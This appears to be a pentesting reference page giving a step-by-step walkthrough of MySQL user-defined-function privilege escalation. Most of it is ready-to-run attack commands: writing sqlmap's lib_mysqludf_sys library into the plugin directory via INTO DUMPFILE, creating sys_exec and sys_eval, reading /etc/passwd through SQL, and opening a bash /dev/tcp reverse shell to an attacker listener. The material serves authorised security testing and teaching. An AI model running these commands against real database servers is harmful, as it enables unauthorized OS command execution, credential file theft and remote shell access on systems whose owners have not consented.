Skip to content
HackIndex logo

HackIndex

MySQL UDF Privilege Escalation

3 min read Mar 26, 2026

MySQL user-defined functions (UDFs) are custom functions loaded from a shared library on the server filesystem. When an attacker can write a malicious shared library to the MySQL plugin directory and load it as a UDF, they gain the ability to execute OS commands through SQL queries. The commands run as the MySQL process user — typically mysql on Linux. On systems where MySQL runs as root this is direct root code execution. This technique requires FILE privilege, CREATE ROUTINE privilege, and write access to the plugin directory.

Check Prerequisites

Confirm the required privileges and identify the plugin directory:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW GRANTS FOR CURRENT_USER(); SHOW VARIABLES LIKE 'plugin_dir'; SHOW VARIABLES LIKE 'secure_file_priv';"
plugin_dir: /usr/lib/mysql/plugin/
secure_file_priv:

You need: FILE privilege, CREATE ROUTINE privilege, and secure_file_priv empty or set to a path that includes the plugin directory. The plugin directory must be writable by the MySQL process user.

Get the UDF Shared Library from sqlmap

sqlmap ships precompiled UDF libraries for both Linux and Windows. Extract the appropriate one for the target architecture:

┌──(kali㉿kali)-[~]
└─$ find / -name 'lib_mysqludf_sys*' 2>/dev/null
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ /tmp/lib_mysqludf_sys.so

Convert the Library to a Hex String

MySQL's INTO DUMPFILE requires the binary content as a hex literal to avoid encoding issues:

┌──(kali㉿kali)-[~]
└─$ xxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' > /tmp/udf.hex
┌──(kali㉿kali)-[~]
└─$ echo "SELECT 0x$(cat /tmp/udf.hex) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';" > /tmp/write-udf.sql
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD < /tmp/write-udf.sql
Query OK, 1 row affected (0.02 sec)

Create the UDF Function

Load the shared library and create the UDF function that exposes OS command execution:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';"

Execute OS Commands via the UDF

sys_eval returns command output as a string. sys_exec executes silently and returns the exit code:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('id');"
+-----------------------------+
| sys_eval('id')              |
+-----------------------------+
| uid=112(mysql) gid=117(mysql) groups=117(mysql) |
+-----------------------------+
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('cat /etc/passwd');"

Get a Reverse Shell via UDF

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"

Clean Up After the Assessment

Remove the UDF function and shared library after the assessment to avoid leaving persistent backdoors:

┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;"
┌──(kali㉿kali)-[~]
└─$ mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');"

References